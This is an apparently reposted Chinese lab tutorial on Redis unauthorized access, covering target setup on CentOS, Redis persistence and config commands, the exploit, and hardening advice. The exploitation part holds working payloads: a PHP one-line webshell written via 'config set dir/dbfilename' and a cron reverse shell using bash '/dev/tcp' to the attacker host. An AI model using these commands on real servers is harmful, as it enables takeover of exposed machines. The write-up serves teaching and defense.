Redis - General - 未授权访问漏洞(用户配置问题)

news2025/1/21 5:36:18

0x01:产品简介

Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)。

Redis 采用键值对模型来存储数据,因此其支持非常多的数据结构类型,比如:字符串(String)、哈希表(Hash)、有序列表(List)、无序集合(Set)、有序集合(ZSet)。

由于 Redis 采用基于内存的存储方式,所以其免去了磁盘 I/O 速度的影响,因此其读写性能极高。

拓展:简单的 Redis 操作指令(部署完环境后速查)

 /redis-cli # 连接本地的 Redis 服务端
 redis-cli -h xx.xx.xx.xx -p 6379 # 连接远程的 Redis 服务端
 ​
 flushall # 清空所有的 Key
 keys *   # 查看所有的 Key
 ​
 set Hack3rX Blue17  # 设置 Key
 get Hack3rX         # 根据 Key,取出 Value
 ​
 hset hash 1 a 2 b 3 c 4 d # 设置 Hash 值
 hget hash 1 # 取出 hash 值为 1 的值,即 a

0x02:漏洞简介

首先需要说明,Redis 官方并不认为这个是它们系统的漏洞,他们认为这源自于用户配置不当所造成的问题,所以在很早的 Redis 版本中就可以使用该漏洞进行攻击。

在默认配置下,Redis 会绑定至本机的 6379 端口。若用户未采取诸如限制 Redis 访问 IP 等防护措施,且未设置密码认证(Redis 默认密码为空),便直接将 Redis 服务暴露于公网,这将使得任意用户在能够访问目标服务器的情况下,可借助 Redis 自身的 config 命令执行写文件操作。攻击者可借此向定时任务中植入恶意代码,进而获取 Redis 运行服务器的控制权,并进一步实施攻击。

0x03:环境搭建

环境准备

  • Redis 版本:6.2.3(CSDN 备份资源:redis-6.2.3.tar.gz)

  • 靶机环境:CentOS7 - IP 192.168.0.137 - 安装 Redis 服务器

  • 攻击机环境:Kali Linux - IP 192.168.0.136 - 安装 Redis 客户端

0x0301:靶机环境搭建

靶机:Redis 服务端配置概览

目标:能让任何 Redis 客户端都连接上 Redis 服务器。

备注:Redis 服务端是使用 root 用户安装的。(实际环境中不推荐)

  • Redis 配置文件:

    • 关闭保护模式 protected-mode(让任何客户端都能连接)

    • 取消 IP 绑定 bind(让任何客户端都能连接)

    • 取消 Redis 连接密码(这个是默认的配置)

  • 服务端配置:

    • 开放 6379 端口,或者关闭防火墙(公网安装记得去安全组中进行配置)

1. CentOS 7 安装 Redis 源码包

Downloads - Redishttps://redis.io/downloads/

使用 SSH 登录到靶机,切换到 Root 用户,然后在 /usr/local/ 目录下创建一个soft文件夹以存放我们安装的 Redis 软件(你可以挑选你喜欢的安装目录,这里不必和笔者一样):

 mkdir /usr/local/soft # 创建 soft 文件夹,以存放安装的程序(可选,看你)
 cd /usr/local/soft    # 进入 soft 文件夹
 wget https://download.redis.io/releases/redis-6.2.3.tar.gz # 下载 Redis 源码包

输入下面的命令解压 redis 压缩包:

 tar -zxvf redis-6.2.3.tar.gz

我们刚刚下载的是 Redis 的源码包,还不能直接使用,我们还需要将其编译成可执行程序后才能使用。由于 Redis 是使用 C 语言编写的,所以我们编译需要用到 GCC。Redis 6.x.x 版本支持了多线程,所以需要 GCC 的版本大于 4.9(CentOS7 默认 GCC 版本是 4.8.5)。

2. CentOS 7 升级 GCC 版本

输入下面的命令查看本机当前的 gcc 版本:

 gcc -v

依次输入下面的命令升级本机的 GCC 版本(这里很多人都会失败,建议参考笔者下面列举的项目进行排查):

 yum -y install centos-release-scl
 yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils 
 scl enable devtoolset-9 bash 
 echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile

Bug:若无法下载 gcc 9 版本可以参考下面流程进行排查(NameServer Error)

在下载 gcc 9 版本时,可能会报出 NameServer Error 问题,即 yum 源域名无法解析的问题,建议按照如下流程排查:

  • 修改本地 DNS 解析地址,直到你能 Ping 通 baidu.com 为止(问 AI)。

  • 修改本地 yum 源为阿里源 - 参考下面这篇文章:

    • Centos7将yum源更换为国内源保姆级教程_centos使用中科大源-CSDN博客

  • 当你修改 yum 源后 makecache 时报错发现改源失败,参考这篇文章修改 SCL 源:

    • Centos7 停止维护之后 升级gcc||找不到devtoolset-8-gcc* 问题解决方案

等上面的命令执行完毕后输入下面的命令,查看当前 gcc 的版本:

 gcc -v

3. CentOS 7 编译安装 Redis

输入下面的命令进入 redis 源码包解压后的 src (源码)目录:

 cd /usr/local/soft/redis-6.2.3/src

使用下面的命令将 Redis 源码编译成可执行程序:

make install

src 目录下输入下面的命令,确定你是否安装成功:

ls | grep -E "redis-server|redis-cli|redis-sentinel"

4. 修改 Redis 配置文件

首先明确一点,笔者将 redis 安装在了:/usr/local/soft/redis-6.2.3 文件夹下。所以我本机的 Redis 默认配置文件是在 /usr/local/soft/redis-6.2.3/redis.conf

使用下面的命令打开并编辑 Redis 的配置文件(修改完成后记得保存):

vim /usr/local/soft/redis-6.2.3/redis.conf

# 以下是需要更改的配置内容
1. 将 protected-mode yes 修改为 protected-mode no 
2. 将 daemonize no 修改为 daemonize yes
3. 注释掉 bind 127.0.0.1
4. (实验跳过,实际必选)如果需要密码访问,取消 requirepass 的注释,如果你在外网(比如阿里云)这个必须要配置。

5. 使用指定配置文件启动 Redis

输入下面的命令,使用 redis-server(我们编译好的可执行程序)加载我们刚刚修改的配置文件来尝试启动 Redis 服务:

/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf

输入完上面的命令后,在使用下面的命令来确定 Redis 是否启动成功(Redis 默认端口是 6379,如果我们发现 6379 端口处于 LISTEN 状态,则说明 Redis 启动成功):

netstat -an | grep 6379

6. 使用 Redis 客户端连接 Redis 服务器

输入下面的命令,使用我们刚刚编译好的 redis 客户端程序连接上 redis 服务器:

/usr/local/soft/redis-6.2.3/src/redis-cli

7. 停止 redis 服务器(服务器中)

在上面的演示中,我们通过 exit 退出连接了 Redis 服务器,可以发现 Redis 服务器其实依旧在运行,并没有关闭,那么我们要怎么关闭 redis 服务呢?

关闭 redis 服务可以通过以下两个方式进行(在运行 Redis 服务的机器中运行):

========================== Way 1
127.0.0.1:6379> shutdown

========================== Way 2
ps -aux | grep redis # 筛选出 redis 服务的进程号
kill -9 xxxxx        # 直接杀死 redis 服务的进程

8. (可选)快捷使用 Redis - 配置别名

我们刚刚通过输入 /usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf 的方式启动 Redis 非常的麻烦,有没有简单的缩短我们敲的指令的长度呢?

有的,兄弟,有的,配置别名就可以了,输入下面的命令编辑 .bashrc 文件(记得保存):

vim ~/.bashrc # 编辑 ~/.bashrc

# 添加下面两行内容
alias redis='/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf'
alias recli='/usr/local/soft/redis-6.2.3/src/redis-cli'

然后输入下面的命令,使我们上面修改的内容生效:

source ~/.bashrc

然后我们就可以使用 redis 命令直接启动 redis 服务,使用 recli 命令直接进入客户端了:

9. 开放 6379 端口 or 关闭防火墙

为了我们漏洞复现的成功,我们需要将服务端的 Redis 服务暴露出来。暴露的方式很简单,如果你是在公网上安装的,从安全组中开放 6379 端口即可。这里我们主要讲解第二种方式,即关闭防火墙(漏洞复现,还是别拿自己的公网服务器开玩笑比较好)。

首先,输入下面的命令,查看本机防火墙状态:

systemctl status firewalld

关闭防火墙输入下面的命令即可:

systemctl stop firewalld.service    # 关闭防火墙,重启后防火墙会自动开启
systemctl disable firewalld.service # 禁止防火墙开机启动

那么至此,我们的靶机环境就搭建完成了。

0x0302:攻击机环境搭建

攻击机我们采用的是 Kali Linux,对于攻击机的环境,其实只要安装一个 Redis 的客户端程序即可,具体流程与上面安装 CentOS 7 的基本一致,所以笔者这里就简略点写了。

下载 Redis 源码包,并进行解压编译成可执行文件(本机 Kali 的 GCC 版本是 13.2.0 符合要求):

# 下载 Redis 源码包
wget https://download.redis.io/releases/redis-6.2.3.tar.gz
# 进行解压操作
tar -zxvf redis-6.2.3.tar.gz
# 进入源码目录
cd redis-6.2.3/src
# 将源码编译成可执行程序
make install
# 将 src 目录下的 redis-cli 拷贝到 /usr/bin 目录下,我们就可以直接使用 redis-cli 运行客户端了
cp ./redis-cli /usr/bin

按照上面的步骤操作完成后,我们就可以尝试使用 Kali 中的 redis 客户端连接 CentOS 7 靶机上的 Redis 服务器了:

redis-cli -h 192.168.0.137 -p 6379

0x04:漏洞复现

0x0401:基础知识 - Redis 持久化机制

在 Redis 产品简介中我们已经说过了,Redis 是将数据存储在内存中。我们知道的,内存中的数据是不持久的,如果我们的服务器不小心关机了,或者 Redis 的服务不小心崩溃了,那么 Redis 中存储的数据就会全部消失。

为了解决上面的问题,我们就要使用到 Redis 的持久化机制,即定期将内存中的数据拷贝到硬盘上。Redis 提供了两种方式来做持久化,分别是 RDB(默认,Redis DataBase)与 AOF(Append Only File),这两种方式是可以同时使用的,并不是排斥的。我们这里主要是讲解 RDB 的方式,因为是默认的,所以用的比较多。

1. RDB - 自动备份

RDB 方式可以分为自动触发与手动触发两种,我们先来看看自动触发,使用靶机打开 Redis 的配置文件,定位关键词 SNAPSHOTTING,这部分是控制自动触发的条件的:

vim /usr/local/soft/redis-6.2.3/redis.conf

然后再定位关键词 dbfilename,这部分是控制保存的文件名的:

然后我们再定位关键词 dir,这部分是控制保存的路径的:

通过上面几个配置,我们了解到了,Redis 会通过 SNAPSHOTTING 中的规则,将内存中的数据定期备份到 Redis 安装目录下的 dump.rdb 文件中(默认情况下):

2. RDB - 手动备份

手动触发就比较简单了,进入 Redis 客户端中输入下面的命令就可以直接让 Redis 将内存数据写到磁盘中的指定位置了:

save

0x0402:基础知识 - Redis 动态修改配置

在之前的操作中,我们想要修改 Redis 的配置都需要去 Redis 的配置文件中进行修改。但 Redis 其实还提供了一个动态修改配置的机制,其语法如下(动态修改的配置只在本次服务中生效):

config set dir /
config set dbfilename redis.php

首先给大家看一下我靶机的根目录下的文件,此时是没有 redis.php 的:

在攻击机中,我们使用 Redis 客户端连接到靶机的 Redis 服务器中,并通过动态修改配置的方式,在靶机的根目录下生成一个 redis.php 文件:

┌──(root㉿kali)-[/home/kali/Desktop/soft]
└─# redis-cli -h 192.168.0.137 -p 6379 # 连接上靶机的 Redis 服务器
192.168.0.137:6379> keys *
(empty array)
192.168.0.137:6379> set Hack3rX "I'm Comming!" # 设置一个 Key
OK
192.168.0.137:6379> set kiss "<?php @eval($_POST['muma']) ?>" # 设置一个 Key,并写入一句话木马
OK
192.168.0.137:6379> config set dir / # 通过动态修改配置,设置保存的文件位置
OK
192.168.0.137:6379> config set dbfilename redis.php # 设置保存的文件名
OK
192.168.0.137:6379> save # 手动执行保存操作
OK

下面我们来看看靶机的根目录下的内容:

可以发现,此时在靶机的根目录下就出现了一个 redis.php 文件,打开该文件,可以发现里面有完好的 PHP 一句话木马的内容(如果我们将保存位置设置到靶机的站点目录下呢,是不是就可以直接写入 Shell,然后再使用远控工具进行连接,就能直接拿到服务器的控制权了呢)。

0x0403:漏洞利用 - Redis 定时反弹连接

在前面的内容中我们介绍了 Redis 的持久化机制,现在我们就尝试使用该机制来获取靶机执行命令的权限。

目前我的靶机是除了 6379 Redis 开放的以外,其他服务都没开放,也不存在 HTTP 服务。那么,这种情况我们要怎么拿到 Shell?很简单,利用定时任务就可以了。

首先,我们进入 Kali 攻击机,并监听本机的 7777 端口:

nc -lvp 7777

然后新打开一个窗口,使用攻击机的 Redis 客户端程序连接到靶机的 Redis 服务器中:

redis-cli -h 192.168.0.137 -p 6379

然后将定时任务的内容作为 Value 写入到 Redis 中:

# 下面是写入了一个 Bash 反弹连接的任务,每分钟执行一次,靶机会自动将权限提交给攻击机
set x "\n* * * * * bash -i >& /dev/tcp/192.168.0.136/7777 0>&1 \n" 

如上,我们写了一个定时执行的反弹连接代码到靶机上。然后,使用 Redis 动态修改配置的特性,将数据保存到靶机的定时任务文件中(这个文件是固定的):

config set dir /var/spool/cron/  # 设置保存的路径
config set dbfilename root       # 设置保存的文件名
save                             # 手动执行持久化操作

等待一分钟,很快,攻击机监听的 7777 端口就传来了靶机的 Shell,成功拿到靶机的控制权:

至此,Redis 未授权访问漏洞结合定时任务反弹 Shell 的攻击演示结束。(后面就是权限维持,痕迹清理啥的基础内容了,笔者不准备在这里讲解)。

最后,再来看以下靶机的 root 用户下的定时任务中的内容吧:

0x05:加固方案

Redis security | DocsSecurity model and features in Redishttps://redis.io/docs/latest/operate/oss_and_stack/management/security/

Redis 的加固方案可以参考上面提供的官网文档。针对 “Redis 未授权访问漏洞” 相信大家在安装 Redis 的时候应该就想到了防御方法了,这里简单列一下吧:

  • 不建议将 Redis 布置在公网中(不受信任的网络环境中)。

  • 限制访问 IP => protected-mode 配置与 bind 配置。

  • 设置 Redis 的连接密码(强密码) => requirepass 配置。

  • 修改 Redis 默认端口。

  • 不要使用 Root 用户运行 Redis,而是创建一个低权限用户运行它。

0x06:参考资料

【Kali】Kali 安装 redis-cli_kali安装redis-cli-CSDN博客文章浏览阅读5.2k次,点赞24次,收藏17次。起序:留个笔记。一、下载下载 redis-stable.tar.gz。wget http://download.redis.io/redis-stable.tar.gz二、解压解压 redis-stable。tar -zxf redis-stable.tar.gz三、编译编译 redis-stable。# 进入到 redis-stable 目录cd redis-stable# 编译make四、拷贝编译完成之后,再将 src 目录下的 redis-cl._kali安装redis-clihttps://blog.csdn.net/qq_43427482/article/details/114794812

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279662.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

学习threejs,使用OrbitControls相机控制器

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.OrbitControls 相机控…

SQL和MySQL以及DAX的日期表生成?数字型日期?将生成的日期表插入到临时表或者实体表中

几种生成日期表的方法 如何用SQL语句生成日期表呢&#xff1f; 如何用MySQL语句生成日期表呢&#xff1f; 如何用DAX语句生成日期表呢&#xff1f; 1. MySQL生成日期表 1.1 日期格式&#xff1a;yyyy-MM-dd 字符型 2024-01-02 -- 生成日期表 WITH RECURSIVE temp_dateTable …

C# 动态创建Label和ComboBox控件并修改Text

背景&#xff1a;在做项目的时候可能需要根据一定数量创建某些控件并修改其属性&#xff0c;本文以控件label、ConboBox控件进行动态创建。 程序运行前后的的Form动态图 代码如下&#xff1a; using System; using System.Collections.Generic; using System.ComponentModel; …

2025年编程语言热度分析:Python领跑,Go与Rust崛起

TIOBE Index&#xff08;TIOBE 编程语言指数&#xff09;是一个衡量编程语言流行度的排名系统。它通过分析多种搜索引擎、在线编程社区、技术论坛、问答网站&#xff08;如 Google、Bing、Yahoo、Wikipedia、Stack Overflow&#xff09;等的搜索和讨论数据&#xff0c;评估不同…

【从零开始入门unity游戏开发之——C#篇46】C#补充知识点——命名参数和可选参数

考虑到每个人基础可能不一样&#xff0c;且并不是所有人都有同时做2D、3D开发的需求&#xff0c;所以我把 【零基础入门unity游戏开发】 分为成了C#篇、unity通用篇、unity3D篇、unity2D篇。 【C#篇】&#xff1a;主要讲解C#的基础语法&#xff0c;包括变量、数据类型、运算符、…

python学opencv|读取图像(三十九 )阈值处理Otsu方法

【1】引言 前序学习了5种阈值处理方法&#xff0c;包括(反)阈值处理、(反)零值处理和截断处理&#xff0c;还学习了一种自适应处理方法&#xff0c;相关文章链接为&#xff1a; python学opencv|读取图像&#xff08;三十三&#xff09;阈值处理-灰度图像-CSDN博客 python学o…

【Idea】编译Spring源码 read timeout 问题

Idea现在是大家工作中用的比较多的开发工具&#xff0c;尤其是做java开发的&#xff0c;那么做java开发&#xff0c;了解spring框架源码是提高自己技能水平的一个方式&#xff0c;所以会从spring 官网下载源码&#xff0c;导入到 Idea 工具并编译&#xff0c;但是发现build的时…

macOS安装Gradle环境

文章目录 说明安装JDK安装Gradle 说明 gradle8.5最高支持jdk21&#xff0c;如果使用jdk22建议使用gradle8.8以上版本 安装JDK mac系统安装最新&#xff08;截止2024.9.13&#xff09;Oracle JDK操作记录 安装Gradle 下载Gradle&#xff0c;解压将其存放到资源java/env目录…

VMware Workstation Pro 17免费开放,再也不用到处找license了

VMware Workstation Pro 17免费开放啦 VMware Workstation Pro 17.6.2 版本介绍一、免费开放二、性能与稳定性提升三、重要问题修复1. Linux 快照崩溃问题解决2. Windows 11 主机优化3. Linux 内核兼容性增强 四、功能亮点1. 全新的性能优化2. 稳定性和可靠性增强3. 更友好的用…

寒假1.19

题解 web&#xff08;堆叠注入&#xff09;&#xff1a;[SUCTF 2019]EasySQL 参考wp&#xff1a;BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版&#xff09;-CSDN博客 判断&#xff1a; 法一&#xff1a; 打开环境&#xff0c;有一个可交互的界面&#xff0c;随便输入几个字…

WebGL渲染3D高斯泼溅模型

WebGL渲染3D高斯泼溅模型 原文&#xff1a; GitHub - kishimisu/Gaussian-Splatting-WebGL: 3D Gaussian Splatting Renderer for WebGL 此外&#xff0c;一些基于webgpu&#xff0c;threejs渲染&#xff0c;以及和cesium集成的项目如下 GitHub - playcanvas/supersplat: 3D Ga…

前端:angular工程目录结构和相关文件学习

前端工程结构&#xff0c;angular&#xff1a; 环境变量文件说明&#xff1a; // The file contents for the current environment will overwrite these during build. // The build system defaults to the dev environment which uses environment.ts, but if you do // n…

Linux图形界面详解以及替换桌面程序方法[持续更新]

说明&#xff1a;本文章主要说明Linux图形界面的启动流程&#xff0c;以及使用自己的图形化应用替换桌面程序的方法&#xff0c;类似与安卓启动会启动Launcher&#xff0c;使用自己程序替换Launcher一样&#xff0c;实现应用独占系统&#xff0c;或者设计自己的桌面程序&#x…

异地IP属地代理业务解析:如何改变IP属地

在数字化时代&#xff0c;IP地址作为网络设备的唯一标识符&#xff0c;不仅关乎设备间的通信&#xff0c;还涉及到用户的网络身份与位置信息。随着互联网的深入发展&#xff0c;异地IP属地代理业务逐渐走进大众视野&#xff0c;成为许多用户关注的话题。本文将详细解析异地IP属…

网络安全VS数据安全

关于网络安全和数据安全&#xff0c;我们常听到如下两种不同声音&#xff1a; 观点一&#xff1a;网络安全是数据安全的基础&#xff0c;把当年做网络安全的那一套用数据安全再做一遍。 观点二&#xff1a;数据安全如今普遍以为是网络安全的延伸&#xff0c;实际情况是忽略数据…

Android系统开发(一):AOSP 架构全解析:开源拥抱安卓未来

引言 当我们手握智能手机&#xff0c;流畅地滑动屏幕、切换应用、欣赏动画时&#xff0c;背后其实藏着一套庞大且精密的开源系统——Android AOSP&#xff08;Android Open Source Project&#xff09;。这套系统不仅是所有安卓设备的根基&#xff0c;也是系统开发者的终极 pl…

day02_ElasticSearch基础和SeaTunnel

文章目录 day02_ElasticSearch基础和SeaTunnel一、ElasticSearch基本介绍(了解)1、Elasticsearch应用方向2、ElasticSearch特点3、发展历史二、安装ElasticSearch(操作)1、安装ElasticSearch2、插件安装2.1 浏览器安装可视化插件2.2 PyCharm安装Elasticsearch插件三、Elast…

AI 大爆发时代,音视频未来路在何方?

AI 大模型突然大火了 回顾2024年&#xff0c;计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程&#xff1a; 萌芽期&#xff1a;&#xff08;1950-2005&#xff09; 1956年&#xff1a;计算机专家约翰麦卡锡首次提出“人工智能”概念&#xff0c;标志…

OpenEuler学习笔记(三):为什么要搞OpenEuler?

为什么要搞OpenEuler&#xff1f; 技术自主可控需求 在信息技术领域&#xff0c;操作系统是关键的基础软件。过去&#xff0c;很多关键技术被国外厂商掌控&#xff0c;存在技术“卡脖子”的风险。OpenEuler的出现可以为国内提供一个自主可控的操作系统选择。例如&#xff0c;在…

linux下的NFS和FTP部署

目录 NFS应用场景架构通信原理部署权限认证Kerberos5其他认证方式 命令serverclient查看测试系统重启后自动挂载 NFS 共享 高可用实现 FTP对比一些ftp服务器1. **vsftpd (Very Secure FTP Daemon)**2. **ProFTPD (Professional FTP Daemon)**3. **Pure-FTPd**4. **WU-FTPD (Was…